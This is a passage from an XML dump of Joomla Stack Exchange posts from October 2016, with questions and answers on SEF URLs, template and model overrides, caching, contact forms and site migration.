style]]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally create a new menu item pointing to the specific article.&lt;/p&gt;&#xA;" OwnerUserId="9116" LastEditorUserId="9116" LastEditDate="2016-10-06T12:28:54.747" LastActivityDate="2016-10-06T12:28:54.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18070" PostTypeId="1" AcceptedAnswerId="18207" CreationDate="2016-10-06T13:22:57.263" Score="1" ViewCount="65" Body="&lt;p&gt;I'm developing router to my custom component. Almost everything is working ok. But with one url I have problem.&#xA;It seems to be build properly by build method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;dodaj-zdjecia/addphotos.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after following this url it is redirected to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/%EF%BB%BF/dodaj-zdjecia/addphotos.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course I get 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried almost everything...&#xA;What could be the reason?&lt;/p&gt;&#xA;" OwnerUserId="6924" LastActivityDate="2017-04-25T12:14:41.450" Title="Weird chars in the beginning of SEF url" Tags="|joomla-3.x|component|sef|custom-component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18071" PostTypeId="1" CreationDate="2016-10-06T13:30:53.403" Score="6" ViewCount="458" Body="&lt;p&gt;Joomla 3.6 has two different controllers intended to create a new user:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;UsersControllerRegistration::register()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;defined in components/com_users/controllers/registration.php and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;UsersControllerUser::register()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;defined in components/com_users/controllers/user.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at their source code, both the methods looks like very similar, and do the same job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, while the former is used for user self registration, it seems that the latter is not used anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to know whether UsersControllerUser::register() is actually unused code or no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit worried since even if it's unused by the Joomla views, the task is still callable by a malicious request.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="126" LastEditDate="2017-06-30T11:12:29.897" LastActivityDate="2018-09-04T17:00:49.737" Title="Abandonware user self-registration procedure in Joomla core" Tags="|joomla-3.x|php|development|joomla-api|user|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18072" PostTypeId="2" ParentId="18039" CreationDate="2016-10-06T14:05:37.047" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how is the map being added to the page?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The site indicated uses &quot;Google Maps by Reumer&quot; plugin, which is one of the best choices available at the time of this answer for that purpose.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why does it disappear when I change the contact type?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The map is achieved by replacing a plain text plugin code in curly brackets {mosmap} with the proper Google Maps code. If the map disappears, it means that the changes you have made, have caused that the HTML output of that particular contact does not contain the plugin code anymore.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I display more than one address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For what I know, Joomla contacts manager limits to one address for each contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest and easiest approach to achieve your goal, is through a third party Joomla extension, which allows a custom layout of the form, arbitrary contact details and custom HTML code to place your Google Maps plugin code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fox.ra.it/&quot; rel=&quot;nofollow&quot;&gt;This one for example&lt;/a&gt;, has a drag and drop visual designer which simplifies the creation of the contact page, it's really cheap, and it provides so many useful features that you'll end asking yourself how you've gone this long without it.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2016-10-06T14:05:37.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18074" PostTypeId="1" AcceptedAnswerId="18108" CreationDate="2016-10-06T18:40:51.520" Score="3" ViewCount="463" Body="&lt;p&gt;Is there any way to force a redirect after a user has reset their password without modifying core files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, there aren't really any variables that Joomla! sends back confirming a successful reset that I can use to force a redirect. Additionally, I can't find any variables referenced in the model/controller/helper that I could set to tell Joomla! to return to a different page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I've come to finding a variable I can set to let the component know that I want to redirect was &lt;code&gt;JFactory::getApplication()-&amp;gt;getUserState('com_users.edit.profile.redirect')&lt;/code&gt;. This didn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2016-10-11T17:32:11.930" Title="Redirect users after they reset their password" Tags="|joomla-3.x|user|account-password|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18076" PostTypeId="1" CreationDate="2016-10-06T23:34:12.320" Score="1" ViewCount="104" Body="&lt;p&gt;I am trying to migrate joomla site from shared hosing to cloud server on Debian 8. I have installed Apache2, PHP5.6, MySQL and I have Akeeba backup from previous hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After unpacking files to server root, I always get the following error &lt;code&gt;&quot;Neither your session save path in your server's php.ini not the installation/tmp directory is writeable&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I set 777 to &lt;code&gt;installation/tmp&lt;/code&gt; installation starts, but at the end of installation it cannot create &lt;code&gt;configuration.php&lt;/code&gt; file and I have to do it manually. After I do that, site shows up, but then I am presented with another problem - I can't login. Nothing happens after I submit a form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this has something to do with permissions and session, but since I am really new in this, I have no idea how to solve it. Any help?&lt;/p&gt;&#xA;" OwnerUserId="8625" LastEditorUserId="8625" LastEditDate="2016-10-06T23:39:39.180" LastActivityDate="2016-10-06T23:39:39.180" Title="Problem setting up cloud server on Debian 8 for Joomla 3.6.2" Tags="|joomla-3.x|apache|hosting|linux|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18077" PostTypeId="1" CreationDate="2016-10-07T09:18:40.320" Score="1" ViewCount="1003" Body="&lt;p&gt;I'm trying to override the contact form. I've got two trouble:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;code&gt;mytemplate/html/com_contact/contact&lt;/code&gt; I've copied and renamed&#xA;&lt;blockquote&gt; &lt;ul&gt;&#xA;&lt;li&gt;default.php&lt;/li&gt;&#xA;&lt;li&gt;default_address.php&lt;/li&gt;&#xA;&lt;li&gt;default_articles.php&lt;/li&gt;&#xA;&lt;li&gt;default_form.php&lt;/li&gt;&#xA;&lt;li&gt;default_links.php&lt;/li&gt;&#xA;&lt;li&gt;default_profile.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;  &#xA;to&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;example.php&lt;/li&gt;&#xA;&lt;li&gt;example_address.php&lt;/li&gt;&#xA;&lt;li&gt;example_articles.php&lt;/li&gt;&#xA;&lt;li&gt;example_form.php&lt;/li&gt;&#xA;&lt;li&gt;example_links.php&lt;/li&gt;&#xA;&lt;li&gt;example_profile.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt; &#xA;Joomla show me the layout &lt;code&gt;example&lt;/code&gt; in admin but it doesn't make any difference in the front.&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;I've made an override in &lt;code&gt;mytemplate/html/layouts/joomla/form/renderfield.php&lt;/code&gt; it doesn't make any diferrence too. I've noticed in &lt;code&gt;components/com_contact/layouts/joomla/form&lt;/code&gt; another &lt;code&gt;renderfield.php&lt;/code&gt;, which is the one applying to the contact form.&#xA;I've got two questions/&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why &lt;b&gt;com_contact&lt;/b&gt; is not using the common &lt;code&gt;renderfiel.php&lt;/code&gt; and the common &lt;code&gt;renderlabel.php&lt;/code&gt; is used?&#xA;&lt;li&gt;How do I override this &lt;code&gt;renderfield.php&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone any clues about that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you will forgive my poor english.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9300" LastEditorUserId="9300" LastEditDate="2016-11-16T07:37:20.057" LastActivityDate="2018-12-09T18:47:03.560" Title="Trouble overriding contact form" Tags="|joomla-3.x|joomla-3.6|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18078" PostTypeId="1" CreationDate="2016-10-07T10:16:21.643" Score="3" ViewCount="84" Body="&lt;p&gt;I have a component which has a feed. This feed updates constantly, pulling information from external sources. To reduce pressure on my server at high traffic periods, I want to give the generated feed a cache of around 10 seconds, possibly less.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as far as I am aware, Joomla's cache time is global across all components and has a minimum time of a minute, even though modules will work in seconds and can be added on a module-by-module basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to make a component view have a shorter cache time than this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of is a cron job that deletes the cached files, which doesn't seem an ideal approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-10-07T20:30:21.230" Title="Caching a component's view for less than a minute" Tags="|joomla-3.x|custom-component|cache|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18081" PostTypeId="1" AcceptedAnswerId="18083" CreationDate="2016-10-07T13:30:19.363" Score="2" ViewCount="279" Body="&lt;p&gt;On a new install of Joomla 3.6.2 with a purchased template there is a menu option in the Adminitrator labeled &quot;Ajax Interface&quot; under Components which I've never seen before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select it the following error message appears:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;InvalidArgumentException: Please specify a valid response format, other than that of HTML, such as json, raw, debug, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be corrected as the site is working properly otherwise?&lt;/p&gt;&#xA;" OwnerUserId="8424" LastEditorUserId="8424" LastEditDate="2016-10-07T13:45:51.767" LastActivityDate="2016-10-07T20:28:46.677" Title="Ajax Interface menu choice - never seen before" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18082" PostTypeId="2" ParentId="16650" CreationDate="2016-10-07T17:30:54.260" Score="1" Body="&lt;p&gt;I found another even better way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-10-07T17:30:54.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18083" PostTypeId="2" ParentId="18081" CreationDate="2016-10-07T20:28:46.677" Score="1" Body="&lt;p&gt;This menu item shouldn't appear in your Joomla backend (3.6.2), no idea why it's appearing for you. Having said that, the Ajax Interface is a core Joomla extension that is responsible for simplifying Ajax implementation in Joomla. You can read more about it &lt;a href=&quot;http://www.itoctopus.com/how-to-use-joomlas-ajax-interface-component-com_ajax&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-07T20:28:46.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18084" PostTypeId="2" ParentId="18078" CreationDate="2016-10-07T20:30:21.230" Score="1" Body="&lt;p&gt;You can use an extension called JotCache, which allows you to control caching at an extension level. Having said that, I recommend that you implement caching within the extension itself (it's not hard to do that).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-07T20:30:21.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18085" PostTypeId="1" CreationDate="2016-10-08T10:13:24.940" Score="1" ViewCount="188" Body="&lt;p&gt;I'm trying to make a more dynamic News &amp;amp; Events posting process on a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this I'm using the free version of Deluxe News by JoomlaXTC.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Overview&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.liceocannizzaro.it/&quot; rel=&quot;nofollow&quot;&gt;This is the result&lt;/a&gt; I'd like to achieve, but split in 2 columns rather than in just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already modified the template so I now have two new positions called csx and cdx in order to put in there my new News &amp;amp; Events modules.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That website uses on its Homepage a Blog Category mode, loading a category we'll call &quot;X&quot;. On the JoomlaXTC module, which is in the same Homepage, it loads the very same category &quot;X&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this should do, is showing a new article with the module setup whenever a new article is added in that category &quot;X&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead, when I do this on my website, it doesn't just show the Module, but the articles in the category as well (as it should indeed do that Blog Category mode). You can take a look at my &lt;a href=&quot;http://www.liceocroceroma.it/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=18&amp;amp;Itemid=381&quot; rel=&quot;nofollow&quot;&gt;testing page&lt;/a&gt;. (Yes, it's the live website, but I'm just editing a sub-menu I added just to test this, I had no time to make a localhost for this).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;How did that other website managed to remove the &quot;show&quot; method of the Blog Category mode? On that website it just shows the JoomlaXTC module, I don't know how though. Settings of the module on both websites are the same.&lt;/p&gt;&#xA;" OwnerUserId="6902" LastActivityDate="2016-10-08T10:13:24.940" Title="How to hide articles from Blog Category mode" Tags="|module|category-blog|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18086" PostTypeId="1" CreationDate="2016-10-08T15:21:12.917" Score="1" ViewCount="580" Body="&lt;p&gt;I am trying to use CodeMirror as the editor for a field inside a component I am developing. I have specified the editor as &lt;code&gt;codemirror&lt;/code&gt; in the form.xml file but I get a javascript error on the page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Uncaught ReferenceError: CodeMirror is not defined&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entry in my form.xml file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;myfield&quot;&#xA;            type=&quot;editor&quot;&#xA;            label=&quot;COM_MYCOMPONENT_MYFIELD_LABEL&quot;&#xA;            description=&quot;COM_MYCOMPONENT_MYFIELD_DESC&quot;&#xA;            default=&quot;&quot;&#xA;            editor=&quot;codemirror|none&quot;&#xA;            filter=&quot;raw&quot;&#xA;            /&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9001" LastEditorUserId="9001" LastEditDate="2016-10-09T17:31:12.880" LastActivityDate="2016-10-09T17:31:12.880" Title="Using CodeMirror editor in custom component" Tags="|joomla-3.x|component|development|custom-component|editor|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18087" PostTypeId="1" CreationDate="2016-10-08T16:10:42.327" Score="2" ViewCount="2688" Body="&lt;p&gt;we have a custom PHP script which is running under JUMI to perform and display some data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom script is accessible to a SEF url such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/jumi-script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is a rewritten version of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/index.php?option=com_jumi&amp;amp;view=application&amp;amp;fileid=11&amp;amp;Itemid=271&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we would like to filter data applying parameters such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=mycat&amp;amp;place=myplace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_jumi&amp;amp;view=application&amp;amp;fileid=11&amp;amp;Itemid=271&amp;amp;category=mycat&amp;amp;place=myplace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and we would like to obtain a SEF url like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/jumi-script/mycat/myplace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and process these variables in my script with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mycat = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('category');&#xA;&#xA;$myplace = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;get('place');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do we obtain this? we are testing the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentUrl =&amp;amp; JURI::getInstance();&#xA;$currentUrl-&amp;gt;setVar( 'mycat', $catvalue );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but we are loosing the rest of the query string. Can the above be achieved?&#xA;Any suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9125" LastEditorUserId="9125" LastEditDate="2016-10-09T09:01:30.143" LastActivityDate="2016-11-18T22:56:13.410" Title="Add querystring parameters and generate a SEF URL" Tags="|joomla-3.x|sef|seo|jinput|non-sef-url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18089" PostTypeId="1" CreationDate="2016-10-08T22:52:17.760" Score="3" ViewCount="383" Body="&lt;p&gt;I am trying to override /components/com_users/models/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried numerous pathways to, but cannot get the site to look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/TEMPLATE_NAME/html/com_users/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/TEMPLATE_NAME/html/com_users/reset/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/TEMPLATE_NAME/html/com_users/models/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/TEMPLATE_NAME/html/com_users/models/reset/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During testing, when I edit core file: /components/com_users/models/reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works as expected, but oviously, I do not want to edit core files and need to override reset.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: The changes I have made to reset.php is to simplify the password reset procedure for my users. I have included the Username in the email users get when they request a password reset. I understand that some think this may be a security issue, however I do not. Username is retrievable anyway if you have thee mail address, so why not include it in the email to assist users. The fact is that most users who forget their password ALSO forget their username, and currently the process of retrieving both is too hard for average Joe user. IF anyone is interested in how I did it, Id be happy to post about it. But I first need to get this override working.&lt;/p&gt;&#xA;" OwnerUserId="9126" LastActivityDate="2016-10-09T22:51:49.117" Title="Create an Override for reset.php" Tags="|joomla-3.3.x|overrides|template-override|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18090" PostTypeId="1" AcceptedAnswerId="18091" CreationDate="2016-10-09T04:23:33.543" Score="2" ViewCount="38" Body="&lt;p&gt;I am trying to show content to super user in joomla front end&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Showing parse syntax error&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the code correct for using authorise('core.admin')) to find super user in joomla 3.6.2 or is there a more better and secure way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //i want this to display only to super users&#xA;$user = JFactory::getUser();&#xA;if($user-&amp;gt;authorise('core.admin'))&#xA;{&#xA;&amp;lt;li&amp;gt;&amp;lt;a class=&quot;modal&quot; href=&quot;http://localhost/code/index.php?option=com_rsform&amp;amp;formId=51&amp;amp;form[Email]=&amp;lt;?php echo $this-&amp;gt;prodDet-&amp;gt;email; ?&amp;gt;&amp;amp;form[Make]=&amp;lt;?php echo $this-&amp;gt;CatName; ?&amp;gt;&amp;amp;form[Model]=&amp;lt;?php echo $this-&amp;gt;prodDet-&amp;gt;prod_name;?&amp;gt;&amp;amp;tmpl=component&quot; rel=&quot;{handler: 'iframe', size: {x: 590, y: 420}}&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/proto/images/contact.jpg&quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2016-10-09T08:25:31.043" Title="When a content is trying to display to super user in Joomla 3.6.2, its not working with parse syntax error" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18091" PostTypeId="2" ParentId="18090" CreationDate="2016-10-09T08:25:31.043" Score="3" Body="&lt;p&gt;you have some error in your code. Please try this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //i want this to display only to super users&#xA;$user = JFactory::getUser();&#xA;if($user-&amp;gt;authorise('core.admin'))&#xA;{&#xA;?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a class=&quot;modal&quot; href=&quot;http://localhost/code/index.php?option=com_rsform&amp;amp;formId=51&amp;amp;form[Email]=&amp;lt;?php echo $this-&amp;gt;prodDet-&amp;gt;email; ?&amp;gt;&amp;amp;form[Make]=&amp;lt;?php echo $this-&amp;gt;CatName; ?&amp;gt;&amp;amp;form[Model]=&amp;lt;?php echo $this-&amp;gt;prodDet-&amp;gt;prod_name;?&amp;gt;&amp;amp;tmpl=component&quot; rel=&quot;{handler: 'iframe', size: {x: 590, y: 420}}&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/proto/images/contact.jpg&quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-10-09T08:25:31.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18092" PostTypeId="1" CreationDate="2016-10-09T09:51:09.387" Score="1" ViewCount="468" Body="&lt;p&gt;from past two days i'm getting the error in all my joomla 3.5.1 websites nginx/1.10.0 (Ubuntu)&#xA;502 Bad Gateway&lt;/p&gt;&#xA;&#xA;&lt;p&gt;even though my hosting provider says that he hasn't updated anything and i also have not added or updated anything in my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has any solution???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the website url is &lt;a href=&quot;http://pyramidwealth.in&quot; rel=&quot;nofollow&quot;&gt;http://pyramidwealth.in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3640" LastActivityDate="2016-10-09T09:51:09.387" Title="nginx/1.10.0 (Ubuntu) 502 Bad Gateway in my joomla website" Tags="|joomla-3.5|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18093" PostTypeId="1" CreationDate="2016-10-09T14:17:23.257" Score="1" ViewCount="7878" Body="&lt;p&gt;I'm using &lt;strong&gt;ALtervista&lt;/strong&gt; to host &lt;a href=&quot;http://liceocroceromatest.altervista.org/joomla/&quot; rel=&quot;nofollow&quot;&gt;my website&lt;/a&gt;.&#xA;I've just installed &lt;strong&gt;joomla 2.5&lt;/strong&gt; using the auto-installation of Altervista.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exported&lt;/strong&gt; a database in &lt;code&gt;sql.gz&lt;/code&gt; format and &lt;strong&gt;imported&lt;/strong&gt; it into my new database on Altervista.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then via &lt;strong&gt;FTP&lt;/strong&gt;, using FileZilla, I &lt;strong&gt;copied&lt;/strong&gt; everything that was in my old website and pasted it &lt;strong&gt;into the /joomla folder&lt;/strong&gt; created by Altervista, &lt;strong&gt;overriding&lt;/strong&gt; already existing files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When done, I changed the configuration to the database on the &lt;code&gt;configuration.php&lt;/code&gt; file and accidentally I read that phrase when trying to load my website: why is that?&lt;/p&gt;&#xA;" OwnerUserId="6902" LastActivityDate="2017-01-08T00:36:10.590" Title="No configuration file found and no installation code available. Exiting... | Not true" Tags="|database|.htaccess-configuration|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18094" PostTypeId="2" ParentId="18093" CreationDate="2016-10-09T22:43:18.400" Score="1" Body="&lt;p&gt;The error happens when Joomla can't read the &lt;code&gt;configuration.php&lt;/code&gt; file, so it tries to check for an &lt;code&gt;installation&lt;/code&gt; folder, but it doesn't find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if the &lt;code&gt;configuration.php&lt;/code&gt; file is not an empty file - it might be that the FTP tool that you have used has corrupted the file. If everything's OK, then check the permissions and the ownership on the &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-09T22:43:18.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18095" PostTypeId="2" ParentId="18089" CreationDate="2016-10-09T22:51:49.117" Score="1" Body="&lt;p&gt;You are almost there. You should copy it to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TEMPLATE_NAME/code/com_users/models/reset.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't copy it to the &lt;code&gt;html&lt;/code&gt; folder (notice that &lt;code&gt;code&lt;/code&gt; is there instead of &lt;code&gt;html&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this official guide about this: &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-09T22:51:49.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18096" PostTypeId="1" CreationDate="2016-10-10T03:05:08.763" Score="1" ViewCount="33" Body="&lt;p&gt;I am wanting to add a history for the contacts component, essentially a history of them being contacted with a few other fields. I looked at seblod and it seems like a lot of overhead. I have written a basic fof2 component and before I dove in I was hoping to get a little feedback. I envision I can go to the contacts view and in each contact go a level deeper almost like the contact itself is a category for activity. I am beginning to move towards this being a plugin. Does this seem like a good idea and is this the right place to ask such a question?&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2016-10-10T03:05:08.763" Title="One to many contact history" Tags="|plugin|contact|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
